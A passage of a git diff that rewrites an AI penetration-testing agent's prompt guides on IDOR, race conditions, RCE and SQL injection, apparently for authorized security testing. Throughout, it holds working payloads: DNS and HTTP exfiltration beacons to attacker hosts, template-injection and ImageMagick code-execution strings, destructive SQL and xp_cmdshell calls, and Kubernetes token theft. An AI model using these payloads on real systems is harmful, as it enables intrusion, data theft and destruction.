links) +- Background jobs: import/export job IDs, task results +- Multi-tenant resources: organizations, workspaces, projects - -Simple increment/decrement: -/api/user/123 → /api/user/124 -/download?file=report_2024_01.pdf → report_2024_02.pdf - + +- Swap object IDs between principals using the same token to probe horizontal access; then repeat with lower-privilege tokens to probe vertical access +- Target partial updates (PATCH, JSON Patch/JSON Merge Patch) for silent unauthorized modifications + - -Automate ID ranges: -for i in range(1, 10000): - /api/user/{i}/data - + +- Batch endpoints (bulk update/delete) often validate only the first element; include cross-tenant IDs mid-array +- CSV/JSON imports referencing foreign object IDs (ownerId, orgId) may bypass create-time checks + - -- String where int expected: "123" vs 123 -- Array where single value expected: [123] vs 123 -- Object injection: {% raw %}{"id": {"$ne": null}}{% endraw %} - + +- Use list/search endpoints, notifications, emails, webhooks, and client logs to collect valid IDs, then fetch or mutate those objects directly +- Pagination/cursor manipulation to skip filters and pull other users' pages + + + +- Access job/task IDs from one user to retrieve results for another (export/{jobId}/download, reports/{taskId}) +- Cancel/approve someone else's jobs by referencing their task IDs + + + +- Direct object paths or weakly scoped signed URLs; attempt key prefix changes, content-disposition tricks, or stale signatures reused across tenants +- Replace share tokens with tokens from other tenants; try case/URL-encoding variations + - -- Time-based UUIDs (version 1): predictable timestamps -- Weak randomness in version 4 -- Sequential UUID generation - + +- Enforce resolver-level checks: do not rely on a top-level gate. Verify field and edge resolvers bind the resource to the caller on every hop +- Abuse batching/aliases to retrieve multiple users' nodes in one request and compare responses +- Global node patterns (Relay): decode base64 IDs and swap raw IDs; test {% raw %}node(id: "...base64..."){...}{% endraw %} +- Overfetching via fragments on privileged types; verify hidden fields cannot be queried by unprivileged callers +- Example: +{% raw %} +query IDOR { + me { id } + u1: user(id: "VXNlcjo0NTY=") { email billing { last4 } } + u2: node(id: "VXNlcjo0NTc=") { ... on User { email } } +} +{% endraw %} + - -- Side channel: response time, size differences -- Error message variations -- Boolean-based: exists vs not exists - + +- Token confusion: a token scoped for Service A accepted by Service B due to shared JWT verification but missing audience/claims checks +- Trust on headers: reverse proxies or API gateways injecting/trusting headers like X-User-Id, X-Organization-Id; try overriding or removing them +- Context loss: async consumers (queues, workers) re-process requests without re-checking authorization + - -First get list of IDs, then access: -/api/users → [123, 456, 789] -/api/user/789/private-data - + +- Probe tenant scoping through headers, subdomains, and path params (e.g., X-Tenant-ID, org slug). Try mixing org of token with resource from another org +- Test cross-tenant reports/analytics rollups and admin views which aggregate multiple tenants + + + +- UUID/ULID are not authorization: acquire valid IDs from logs, exports, JS bundles, analytics endpoints, emails, or public activity, then test ownership binding +- Time-based IDs (UUIDv1, ULID) may be guessable within a window; combine with leakage sources for targeted access + + + +- Use differential responses (status, size, ETag, timing) to detect existence; error shape often differs for owned vs foreign objects +- HEAD/OPTIONS, conditional requests (If-None-Match/If-Modified-Since) can confirm existence without full content + + +- Content-type switching: application/json ↔ application/x-www-form-urlencoded ↔ multipart/form-data; some paths enforce checks per parser +- Method tunneling: X-HTTP-Method-Override, _method=PATCH; or using GET on endpoints incorrectly accepting state changes +- JSON duplicate keys/array injection to bypass naive validators + + -?id=123&id=456 (takes last or first?) -?user_id=victim&user_id=attacker +- Duplicate parameters in query/body to influence server-side precedence (id=123&id=456); try both orderings +- Mix case/alias param names so gateway and backend disagree (userId vs userid) - -- URL encode: %31%32%33 -- Double encoding: %25%33%31 -- Unicode: \u0031\u0032\u0033 - + +- CDN/proxy key confusion: responses keyed without Authorization or tenant headers expose cached objects to other users; manipulate Vary and Accept +- Redirect chains and 304/206 behaviors can leak content across tenants + - -userId vs userid vs USERID vs UserId - - - -/api/user.json?id=123 -/api/user.xml?id=123 -/api/user/123.json vs /api/user/123 - + +- Time-of-check vs time-of-use: change the referenced ID between validation and execution using parallel requests + - -Query batching and alias abuse: -query { u1: user(id: 123) { data } u2: user(id: 456) { data } } - + +- Authorization per-subscription: ensure channel/topic names cannot be guessed (user_{id}, org_{id}); subscribe/publish checks must run server-side, not only at handshake +- Try sending messages with target user IDs after subscribing to own channels + - -Subscribe to other users' channels: -{% raw %}{"subscribe": "user_456_notifications"}{% endraw %} - + +- Direct protobuf fields (owner_id, tenant_id) often bypass HTTP-layer middleware; validate references via grpcurl with tokens from different principals + - -../../../other_user/private.pdf -/files/user_123/../../user_456/data.csv - + +- Webhooks/callbacks referencing foreign objects (e.g., invoice_id) processed without verifying ownership +- Third-party importers syncing data into wrong tenant due to missing tenant binding + -- IDOR + XSS: Access and weaponize other users' data -- IDOR + CSRF: Force actions on discovered objects -- IDOR + SQLi: Extract all IDs then access +- IDOR + CSRF: force victims to trigger unauthorized changes on objects you discovered +- IDOR + Stored XSS: pivot into other users' sessions through data you gained access to +- IDOR + SSRF: exfiltrate internal IDs, then access their corresponding resources +- IDOR + Race: bypass spot checks with simultaneous requests -To confirm IDOR: -1. Access data/function without authorization -2. Demonstrate data belongs to another user -3. Show consistent access pattern -4. Prove it's not intended functionality -5. Document security impact +1. Demonstrate access to an object not owned by the caller (content or metadata). +2. Show the same request fails with appropriately enforced authorization when corrected. +3. Prove cross-channel consistency: same unauthorized access via at least two transports (e.g., REST and GraphQL). +4. Document tenant boundary violations (if applicable). +5. Provide reproducible steps and evidence (requests/responses for owner vs non-owner). -NOT IDOR if: -- Public data by design -- Proper authorization checks -- Only affects own resources -- Rate limiting prevents exploitation -- Data is sanitized/limited +- Public/anonymous resources by design +- Soft-privatized data where content is already public +- Idempotent metadata lookups that do not reveal sensitive content +- Correct row-level checks enforced across all channels -- Personal data exposure -- Financial information theft -- Account takeover -- Business data leak -- Compliance violations (GDPR, HIPAA) +- Cross-account data exposure (PII/PHI/PCI) +- Unauthorized state changes (transfers, role changes, cancellations) +- Cross-tenant data leaks violating contractual and regulatory boundaries +- Regulatory risk (GDPR/HIPAA/PCI), fraud, reputational damage -1. Test all ID parameters systematically -2. Look for patterns in IDs -3. Check export/download functions -4. Test different HTTP methods -5. Monitor for blind IDOR via timing -6. Check mobile APIs separately -7. Look for backup/debug endpoints -8. Test file path traversal -9. Automate enumeration carefully -10. Chain with other vulnerabilities +1. Always test list/search/export endpoints first; they are rich ID seeders. +2. Build a reusable ID corpus from logs, notifications, emails, and client bundles. +3. Toggle content-types and transports; authorization middleware often differs per stack. +4. In GraphQL, validate at resolver boundaries; never trust parent auth to cover children. +5. In multi-tenant apps, vary org headers, subdomains, and path params independently. +6. Check batch/bulk operations and background job endpoints; they frequently skip per-item checks. +7. Inspect gateways for header trust and cache key configuration. +8. Treat UUIDs as untrusted; obtain them via OSINT/leaks and test binding. +9. Use timing/size/ETag differentials for blind confirmation when content is masked. +10. Prove impact with precise before/after diffs and role-separated evidence. -IDORs are about broken access control, not just guessable IDs. Even GUIDs can be vulnerable if disclosed elsewhere. Focus on high-impact data access. +Authorization must bind subject, action, and specific object on every request, regardless of identifier opacity or transport. If the binding is missing anywhere, the system is vulnerable. diff --git a/strix/prompts/vulnerabilities/race_conditions.jinja b/strix/prompts/vulnerabilities/race_conditions.jinja index 6dba613..f6ada15 100644 --- a/strix/prompts/vulnerabilities/race_conditions.jinja +++ b/strix/prompts/vulnerabilities/race_conditions.jinja @@ -1,194 +1,164 @@ -RACE CONDITIONS - TIME-OF-CHECK TIME-OF-USE (TOCTOU) MASTERY +RACE CONDITIONS -Race conditions lead to financial fraud, privilege escalation, and business logic bypass. Often overlooked but devastating. +Concurrency bugs enable duplicate state changes, quota bypass, financial abuse, and privilege errors. Treat every read–modify–write and multi-step workflow as adversarially concurrent. - -- Payment/checkout processes -- Coupon/discount redemption -- Account balance operations -- Voting/rating systems -- Limited resource allocation -- User registration (username claims) -- Password reset flows -- File upload/processing -- API rate limits -- Loyalty points/rewards -- Stock/inventory management -- Withdrawal functions - + +- Read–modify–write sequences without atomicity or proper locking +- Multi-step operations (check → reserve → commit) with gaps between phases +- Cross-service workflows (sagas, async jobs) with eventual consistency +- Rate limits, quotas, and idempotency controls implemented at the edge only + + + +1. Model invariants for each workflow (e.g., conservation of value, uniqueness, maximums). Identify reads and writes and where they occur (service, DB, cache). +2. Establish a baseline with single requests. Then issue concurrent requests with identical inputs. Observe deltas in state and responses. +3. Scale and synchronize: ramp up parallelism, switch transports (HTTP/1.1, HTTP/2), and align request timing (last-byte sync, warmed connections). +4. Repeat across channels (web, API, GraphQL, WebSocket) and roles. Confirm durability and reproducibility. + -Multi-step processes with gaps between: -1. Check phase (validation/verification) -2. Use phase (action execution) -3. Write phase (state update) - -Look for: -- "Check balance then deduct" -- "Verify coupon then apply" -- "Check inventory then purchase" -- "Validate token then consume" +- Look for explicit sequences in code or docs: "check balance then deduct", "verify coupon then apply", "check inventory then purchase", "validate token then consume" +- Watch for optimistic concurrency markers: ETag/If-Match, version fields, updatedAt checks; test if they are enforced +- Examine idempotency-key support: scope (path vs principal), TTL, and persistence (cache vs DB) +- Map cross-service steps: when is state written vs published, and what retries/compensations exist - -- Parallel requests with same data -- Rapid sequential requests -- Monitor for inconsistent states -- Database transaction analysis -- Response timing variations - + +- Sequential request fails but parallel succeeds +- Duplicate rows, negative counters, over-issuance, or inconsistent aggregates +- Distinct response shapes/timings for simultaneous vs sequential requests +- Audit logs out of order; multiple 2xx for the same intent; missing or duplicate correlation IDs + + + +- Payments: auth/capture/refund/void; credits/loyalty points; gift cards +- Coupons/discounts: single-use codes, stacking checks, per-user limits +- Quotas/limits: API usage, inventory reservations, seat counts, vote limits +- Auth flows: password reset/OTP consumption, session minting, device trust +- File/object storage: multi-part finalize, version writes, share-link generation +- Background jobs: export/import create/finalize endpoints; job cancellation/approve +- GraphQL mutations and batch operations; WebSocket actions + - - -Python script for Burp Suite Turbo Intruder: -```python -def queueRequests(target, wordlists): - engine = RequestEngine(endpoint=target.endpoint, - concurrentConnections=30, - requestsPerConnection=100, - pipeline=False) + + +- HTTP/2 multiplexing for tight concurrency; send many requests on warmed connections +- Last-byte synchronization: hold requests open and release final byte simultaneously +- Connection warming: pre-establish sessions, cookies, and TLS to remove jitter + - for i in range(30): - engine.queue(target.req, gate='race1') + +- Reuse the same idempotency key across different principals/paths if scope is inadequate +- Hit the endpoint before the idempotency store is written (cache-before-commit windows) +- App-level dedup drops only the response while side effects (emails/credits) still occur + - engine.openGate('race1') -``` - + +- Lost update: read-modify-write increments without atomic DB statements +- Partial two-phase workflows: success committed before validation completes +- Unique checks done outside a unique index/upsert: create duplicates under load + - -- Browser developer tools (multiple tabs) -- curl with & for background: curl url & curl url & -- Python asyncio/aiohttp -- Go routines -- Node.js Promise.all() - - + +- Saga/compensation timing gaps: execute compensation without preventing the original success path +- Eventual consistency windows: act in Service B before Service A's write is visible +- Retry storms: duplicate side effects due to at-least-once delivery without idempotent consumers + - - -- Double withdrawal -- Multiple discount applications -- Balance transfer duplication -- Payment bypass -- Cashback multiplication - - - -- Multiple password resets -- Account creation with same email -- 2FA bypass -- Session generation collision - - - -- Inventory depletion bypass -- Rate limit circumvention -- File overwrite -- Token reuse - - + +- Per-IP or per-connection enforcement: bypass with multiple IPs/sessions +- Counter updates not atomic or sharded inconsistently; send bursts before counters propagate + + - -HTTP/2 multiplexing for true simultaneous delivery: -- All requests in single TCP packet -- Microsecond precision -- Bypass even mutex locks - + +- Omit If-Match/ETag where optional; supply stale versions if server ignores them +- Version fields accepted but not validated across all code paths (e.g., GraphQL vs REST) + - -Send all but last byte, then: -1. Hold connections open -2. Send final byte simultaneously -3. Achieve nanosecond precision - + +- Exploit READ COMMITTED/REPEATABLE READ anomalies: phantoms, non-serializable sequences +- Upsert races: use unique indexes with proper ON CONFLICT/UPSERT or exploit naive existence checks +- Lock granularity issues: row vs table; application locks held only in-process + - -Pre-establish connections: -1. Create connection pool -2. Prime with dummy requests -3. Send race requests on warm connections - + +- Redis locks without NX/EX or fencing tokens allow multiple winners +- Locks stored in memory on a single node; bypass by hitting other nodes/regions + - -- Multiple source IPs -- Different user sessions -- Varied request headers -- Geographic distribution - - - -- Measure server processing time -- Align requests with server load -- Exploit maintenance windows -- Target async operations - +- Distribute across IPs, sessions, and user accounts to evade per-entity throttles +- Switch methods/content-types/endpoints that trigger the same state change via different code paths +- Intentionally trigger timeouts to provoke retries that cause duplicate side effects +- Degrade the target (large payloads, slow endpoints) to widen race windows - - -"Limited to 1 per user" → Send N parallel requests -Results: N successful purchases - + + +- Parallel mutations and batched operations may bypass per-mutation guards; ensure resolver-level idempotency and atomicity +- Persisted queries and aliases can hide multiple state changes in one request + - -Transfer $100 from account with $100 balance: -- 10 parallel transfers -- Each checks balance: $100 available -- All proceed: -$900 balance - + +- Per-message authorization and idempotency must hold; concurrent emits can create duplicates if only the handshake is checked + - -Single vote limit: -- Send multiple vote requests simultaneously -- All pass validation -- Multiple votes counted - - + +- Parallel finalize/complete on multi-part uploads can create duplicate or corrupted objects; re-use pre-signed URLs concurrently + + + +- Concurrent consumption of one-time tokens (reset codes, magic links) to mint multiple sessions; verify consume is atomic + + + + +- Race + Business logic: violate invariants (double-refund, limit slicing) +- Race + IDOR: modify or read others' resources before ownership checks complete +- Race + CSRF: trigger parallel actions from a victim to amplify effects +- Race + Caching: stale caches re-serve privileged states after concurrent changes + -To confirm race condition: -1. Demonstrate parallel execution success -2. Show single request fails -3. Prove timing dependency -4. Document financial/security impact -5. Achieve consistent reproduction +1. Single request denied; N concurrent requests succeed where only 1 should. +2. Durable state change proven (ledger entries, inventory counts, role/flag changes). +3. Reproducible under controlled synchronization (HTTP/2, last-byte sync) across multiple runs. +4. Evidence across channels (e.g., REST and GraphQL) if applicable. +5. Include before/after state and exact request set used. -NOT a race condition if: -- Idempotent operations -- Proper locking mechanisms -- Atomic database operations -- Queue-based processing -- No security impact +- Truly idempotent operations with enforced ETag/version checks or unique constraints +- Serializable transactions or correct advisory locks/queues +- Visual-only glitches without durable state change +- Rate limits that reject excess with atomic counters -- Financial loss (double spending) -- Resource exhaustion -- Data corruption -- Business logic bypass -- Privilege escalation +- Financial loss (double spend, over-issuance of credits/refunds) +- Policy/limit bypass (quotas, single-use tokens, seat counts) +- Data integrity corruption and audit trail inconsistencies +- Privilege or role errors due to concurrent updates -1. Use HTTP/2 for better synchronization -2. Automate with Turbo Intruder -3. Test payment flows extensively -4. Monitor database locks -5. Try different concurrency levels -6. Test async operations -7. Look for compensating transactions -8. Check mobile app endpoints -9. Test during high load -10. Document exact timing windows +1. Favor HTTP/2 with warmed connections; add last-byte sync for precision. +2. Start small (N=5–20), then scale; too much noise can mask the window. +3. Target read–modify–write code paths and endpoints with idempotency keys. +4. Compare REST vs GraphQL vs WebSocket; protections often differ. +5. Look for cross-service gaps (queues, jobs, webhooks) and retry semantics. +6. Check unique constraints and upsert usage; avoid relying on pre-insert checks. +7. Use correlation IDs and logs to prove concurrent interleaving. +8. Widen windows by adding server load or slow backend dependencies. +9. Validate on production-like latency; some races only appear under real load. +10. Document minimal, repeatable request sets that demonstrate durable impact. -Modern race conditions require microsecond precision. Focus on financial operations and limited resource allocation. Single-packet attacks are most reliable. +Concurrency safety is a property of every path that mutates state. If any path lacks atomicity, proper isolation, or idempotency, parallel requests will eventually break invariants. diff --git a/strix/prompts/vulnerabilities/rce.jinja b/strix/prompts/vulnerabilities/rce.jinja index c3023a5..653f438 100644 --- a/strix/prompts/vulnerabilities/rce.jinja +++ b/strix/prompts/vulnerabilities/rce.jinja @@ -1,206 +1,154 @@ -REMOTE CODE EXECUTION (RCE) - MASTER EXPLOITATION +REMOTE CODE EXECUTION (RCE) -RCE is the holy grail - complete system compromise. Modern RCE requires sophisticated bypass techniques. +RCE leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed. - -- System commands: ping, nslookup, traceroute, whois -- File operations: upload, download, convert, resize -- PDF generators: wkhtmltopdf, phantomjs -- Image processors: ImageMagick, GraphicsMagick -- Media converters: ffmpeg, sox -- Archive handlers: tar, zip, 7z -- Version control: git, svn operations -- LDAP queries -- Database backup/restore -- Email sending functions - + +- OS command execution via wrappers (shells, system utilities, CLIs) +- Dynamic evaluation: template engines, expression languages, eval/vm +- Insecure deserialization and gadget chains across languages +- Media/document toolchains (ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg) +- SSRF→internal services that expose execution primitives (FastCGI, Redis) +- Container/Kubernetes escalation from app RCE to node/cluster compromise + - + +1. Identify sinks: search for command wrappers, template rendering, deserialization, file converters, report generators, and plugin hooks. +2. Establish a minimal oracle: timing, DNS/HTTP callbacks, or deterministic output diffs (length/ETag). Prefer OAST over noisy time sleeps. +3. Confirm context: which user, working directory, PATH, shell, SELinux/AppArmor, containerization, read/write locations, outbound egress. +4. Progress to durable control: file write, scheduled execution, service restart hooks; avoid loud reverse shells unless necessary. + + + -- Linux/Unix: ;sleep 10 # | sleep 10 # `sleep 10` $(sleep 10) -- Windows: & ping -n 10 127.0.0.1 & || ping -n 10 127.0.0.1 || -- PowerShell: ;Start-Sleep -s 10 # +- Unix: ;sleep 1 | `sleep 1` || sleep 1; gate delays with short subcommands to reduce noise +- Windows CMD/PowerShell: & timeout /t 2 & | Start-Sleep -s 2 | ping -n 2 127.0.0.1 - -- nslookup $(whoami).attacker.com -- ping $(hostname).attacker.com -- curl http://$(cat /etc/passwd | base64).attacker.com - + +- DNS: {% raw %}nslookup $(whoami).x.attacker.tld{% endraw %} or {% raw %}curl http://$(id -u).x.attacker.tld{% endraw %} +- HTTP beacon: {% raw %}curl https://attacker.tld/$(hostname){% endraw %} (or fetch to pre-signed URL) + -- Direct: ;cat /etc/passwd -- Encoded: ;cat /etc/passwd | base64 -- Hex: ;xxd -p /etc/passwd +- Direct: ;id;uname -a;whoami +- Encoded: ;(id;hostname)|base64; hex via xxd -p - + - - -; id -| id -|| id -& id -&& id -`id` -$(id) -${IFS}id - + + +- ; | || & && `cmd` $(cmd) $() ${IFS} newline/tab; Windows: & | || ^ + - -- Space bypass: ${IFS}, $IFS$9, <, %09 (tab) -- Blacklist bypass: w'h'o'a'm'i, w"h"o"a"m"i -- Command substitution: $(a=c;b=at;$a$b /etc/passwd) -- Encoding: echo 'aWQ=' | base64 -d | sh -- Case variation: WhOaMi (Windows) - - + +- Inject flags/filenames into CLI arguments (e.g., --output=/tmp/x; --config=); break out of quoted segments by alternating quotes and escapes +- Environment expansion: $PATH, ${HOME}, command substitution; Windows %TEMP%, !VAR!, PowerShell $(...) + - - -- eval() with user input -- system(), exec(), shell_exec(), passthru() -- preg_replace with /e modifier -- assert() with string input -- unserialize() exploitation - + +- Force absolute paths (/usr/bin/id) vs relying on PATH; prefer builtins or alternative tools (printf, getent) when id is filtered +- Use sh -c or cmd /c wrappers to reach the shell even if binaries are filtered + - -- eval(), exec() -- subprocess.call(shell=True) -- os.system() -- pickle deserialization -- yaml.load() - + +- Whitespace/IFS: ${IFS}, $'\t', <; case/Unicode variations; mixed encodings; backslash line continuations +- Token splitting: w'h'o'a'm'i, w"h"o"a"m"i; build via variables: a=i;b=d; $a$b +- Base64/hex stagers: echo payload | base64 -d | sh; PowerShell: IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...))) + + - -- Runtime.getRuntime().exec() -- ProcessBuilder -- ScriptEngine eval -- JNDI injection -- Expression Language injection - + +- Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug +- Move from expression to code execution primitives (read file, run command) +- Minimal probes: +{% raw %} +Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}} +Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}} +Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") } +EJS: <%= global.process.mainModule.require('child_process').execSync('id') %> +{% endraw %} + - -- eval() -- child_process.exec() -- vm.runInContext() -- require() pollution - - + +- Java: gadget chains via CommonsCollections/BeanUtils/Spring; tools: ysoserial; JNDI/LDAP chains (Log4Shell-style) when lookups are reachable +- .NET: BinaryFormatter/DataContractSerializer/APIs that accept untrusted ViewState without MAC +- PHP: unserialize() and PHAR metadata; autoloaded gadget chains in frameworks and plugins +- Python/Ruby: pickle, yaml.load/unsafe_load, Marshal; seek auto-deserialization in message queues/caches +- Expression languages: OGNL/SpEL/MVEL/EL; reach Runtime/ProcessBuilder/exec + - - -Works in multiple contexts: -;id;#' |id| #" |id| # -{% raw %}${{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}{% endraw %} - + +- ImageMagick/GraphicsMagick: policy.xml may limit delegates; still test legacy vectors and complex file formats +{% raw %} +Example: push graphic-context\nfill 'url(https://x.tld/a"|id>/tmp/o")'\npop graphic-context +{% endraw %} +- Ghostscript: PostScript in PDFs/PS; {% raw %}%pipe%id{% endraw %} file operators +- ExifTool: crafted metadata invoking external tools or library bugs (historical CVEs) +- LaTeX: \write18/--shell-escape, \input piping; pandoc filters +- ffmpeg: concat/protocol tricks mediated by compile-time flags + - -- DNS exfiltration: $(whoami).evil.com -- HTTP callbacks: curl evil.com/$(id) -- Time delays for boolean extraction -- Write to web root - + +- FastCGI: gopher:// to php-fpm (build FPM records to invoke system/exec via vulnerable scripts) +- Redis: gopher:// write cron/authorized_keys or webroot if filesystem exposed; or module load when allowed +- Admin interfaces: Jenkins script console, Spark UI, Jupyter kernels reachable internally + - -1. Command injection → Write webshell -2. File upload → LFI → RCE -3. XXE → SSRF → internal RCE -4. SQLi → INTO OUTFILE → RCE - - - - - -push graphic-context -viewbox 0 0 640 480 -fill 'url(https://evil.com/image.jpg"|id > /tmp/output")' -pop graphic-context - - - -%!PS -/outfile (%pipe%id) (w) file def - - - -#EXTM3U -#EXT-X-TARGETDURATION:1 -#EXTINF:1.0, -concat:|file:///etc/passwd - - - -\immediate\write18{id > /tmp/pwn} -\input{|"cat /etc/passwd"} - - - - + -- Privileged containers: mount host filesystem -- Docker.sock exposure -- Kernel exploits -- /proc/self/exe overwrite +- From app RCE, inspect /.dockerenv, /proc/1/cgroup; enumerate mounts and capabilities (capsh --print) +- Abuses: mounted docker.sock, hostPath mounts, privileged containers; write to /proc/sys/kernel/core_pattern or mount host with --privileged -- Service account tokens -- Kubelet API access -- Container breakout to node +- Steal service account token from /var/run/secrets/kubernetes.io/serviceaccount; query API for pods/secrets; enumerate RBAC +- Talk to kubelet on 10250/10255; exec into pods; list/attach if anonymous/weak auth +- Escalate via privileged pods, hostPath mounts, or daemonsets if permissions allow - + - -- Unicode normalization -- Double URL encoding -- Case variation mixing -- Null bytes: %00 -- Comments: /**/i/**/d -- Alternative commands: hostname vs uname -n -- Path traversal: /usr/bin/id vs id - + +- Privilege escalation: sudo -l; SUID binaries; capabilities (getcap -r / 2>/dev/null) +- Persistence: cron/systemd/user services; web shell behind auth; plugin hooks; supply chain in CI/CD +- Lateral movement: pivot with SSH keys, cloud metadata credentials, internal service tokens + + + +- Encoding differentials (URL, Unicode normalization), comment insertion, mixed case, request smuggling to reach alternate parsers +- Absolute paths and alternate binaries (busybox, sh, env); Windows variations (PowerShell vs CMD), constrained language bypasses + -To confirm RCE: -1. Execute unique command (id, hostname) -2. Demonstrate file system access -3. Show command output retrieval -4. Achieve reverse shell -5. Prove consistent execution +1. Provide a minimal, reliable oracle (DNS/HTTP/timing) proving code execution. +2. Show command context (uid, gid, cwd, env) and controlled output. +3. Demonstrate persistence or file write under application constraints. +4. If containerized, prove boundary crossing attempts (host files, kube APIs) and whether they succeed. +5. Keep PoCs minimal and reproducible across runs and transports. -NOT RCE if: -- Only crashes application -- Limited to specific commands -- Sandboxed/containerized properly -- No actual command execution -- Output not retrievable +- Only crashes or timeouts without controlled behavior +- Filtered execution of a limited command subset with no attacker-controlled args +- Sandboxed interpreters executing in a restricted VM with no IO or process spawn +- Simulated outputs not derived from executed commands -- Complete system compromise -- Data exfiltration -- Lateral movement -- Backdoor installation -- Service disruption +- Remote system control under application user; potential privilege escalation to root +- Data theft, encryption/signing key compromise, supply-chain insertion, lateral movement +- Cluster compromise when combined with container/Kubernetes misconfigurations -1. Try all delimiters: ; | || & && -2. Test both Unix and Windows commands -3. Use time-based for blind confirmation -4. Chain with other vulnerabilities -5. Check sudo permissions post-exploit -6. Look for SUID binaries -7. Test command substitution variants -8. Monitor DNS for blind RCE -9. Try polyglot payloads first -10. Document full exploitation path +1. Prefer OAST oracles; avoid long sleeps—short gated delays reduce noise. +2. When command injection is weak, pivot to file write or deserialization/SSTI paths for stable control. +3. Treat converters/renderers as first-class sinks; many run out-of-process with powerful delegates. +4. For Java/.NET, enumerate classpaths/assemblies and known gadgets; verify with out-of-band payloads. +5. Confirm environment: PATH, shell, umask, SELinux/AppArmor, container caps; it informs payload choice. +6. Keep payloads portable (POSIX/BusyBox/PowerShell) and minimize dependencies. +7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops. -Modern RCE often requires chaining vulnerabilities and bypassing filters. Focus on blind techniques, WAF bypasses, and achieving stable shells. Always test in the specific context - ImageMagick RCE differs from command injection. +RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path. diff --git a/strix/prompts/vulnerabilities/sql_injection.jinja b/strix/prompts/vulnerabilities/sql_injection.jinja index b354073..e7cc18f 100644 --- a/strix/prompts/vulnerabilities/sql_injection.jinja +++ b/strix/prompts/vulnerabilities/sql_injection.jinja @@ -1,215 +1,151 @@ -SQL INJECTION - MASTER CLASS TECHNIQUES +SQL INJECTION -SQL Injection = direct database access = game over. +SQLi remains one of the most durable and impactful classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect. - -- URL parameters: ?id=1 -- POST body parameters -- HTTP headers: User-Agent, Referer, X-Forwarded-For -- Cookie values -- JSON/XML payloads -- File upload names -- Session identifiers - + +- Classic relational DBMS: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle +- Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins +- Integration paths: ORMs, query builders, stored procedures, search servers, reporting/exporters + - -- Time-based: ' AND SLEEP(5)-- -- Boolean-based: ' AND '1'='1 vs ' AND '1'='2 -- Error-based: ' (provoke verbose errors) -- Out-of-band: DNS/HTTP callbacks -- Differential response: content length changes -- Second-order: stored and triggered later - + +1. Identify query shape: SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET, and whether user input influences identifiers vs values. +2. Confirm injection class: reflective errors, boolean diffs, timing, or out-of-band callbacks. Choose the quietest reliable oracle. +3. Establish a minimal extraction channel: UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS. +4. Pivot to metadata and high-value tables, then target impactful write primitives (auth bypass, role changes, filesystem access) if feasible. + - -- ORDER BY: (CASE WHEN condition THEN 1 ELSE 2 END) -- GROUP BY: GROUP BY id HAVING 1=1-- -- INSERT: INSERT INTO users VALUES (1,'admin',(SELECT password FROM admins))-- -- UPDATE: UPDATE users SET email=(SELECT @@version) WHERE id=1 -- Functions: WHERE MATCH(title) AGAINST((SELECT password FROM users LIMIT 1)) - + +- Path/query/body/header/cookie; mixed encodings (URL, JSON, XML, multipart) +- Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements) +- Query builders: whereRaw/orderByRaw, string templates in ORMs; JSON coercion or array containment operators +- Batch/bulk endpoints and report generators that embed filters directly + - - -' UNION SELECT null-- -' UNION SELECT null,null-- -' UNION SELECT 1,2,3-- -' UNION SELECT 1,@@version,3-- -' UNION ALL SELECT 1,database(),3-- - + +- Error-based: provoke type/constraint/parser errors revealing stack/version/paths +- Boolean-based: pair requests differing only in predicate truth; diff status/body/length/ETag +- Time-based: SLEEP/pg_sleep/WAITFOR; use subselect gating to avoid global latency noise +- Out-of-band (OAST): DNS/HTTP callbacks via DB-specific primitives + - -' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- -' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- -' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - + +- Determine column count and types via ORDER BY n and UNION SELECT null,... +- Align types with CAST/CONVERT; coerce to text/json for rendering +- When UNION is filtered, consider error-based or blind channels + - -' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- -' AND ASCII(SUBSTRING((SELECT database()),1,1))>97-- -' AND (SELECT COUNT(*) FROM users)>5-- - - - -' AND IF(1=1,SLEEP(5),0)-- -' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- -'; WAITFOR DELAY '0:0:5'-- (MSSQL) -'; SELECT pg_sleep(5)-- (PostgreSQL) - - - - - -'; DROP TABLE users-- -'; INSERT INTO admins VALUES ('hacker','password')-- -'; UPDATE users SET password='hacked' WHERE username='admin'-- - - - -MySQL: -' AND LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))-- -' UNION SELECT LOAD_FILE('/etc/passwd')-- - -MSSQL: -'; EXEC xp_dirtree '\\attacker.com\share'-- -'; EXEC xp_cmdshell 'nslookup attacker.com'-- - -PostgreSQL: -'; CREATE EXTENSION dblink; SELECT dblink_connect('host=attacker.com')-- - - - -MySQL: -' UNION SELECT 1,2,LOAD_FILE('/etc/passwd')-- - -MSSQL: -'; EXEC xp_cmdshell 'type C:\Windows\win.ini'-- - -PostgreSQL: -'; CREATE TABLE test(data text); COPY test FROM '/etc/passwd'-- - - - - - -- Comments: /**/ -- Parentheses: UNION(SELECT) -- Backticks: UNION`SELECT` -- Newlines: %0A, %0D -- Tabs: %09 - - - -- Case variation: UnIoN 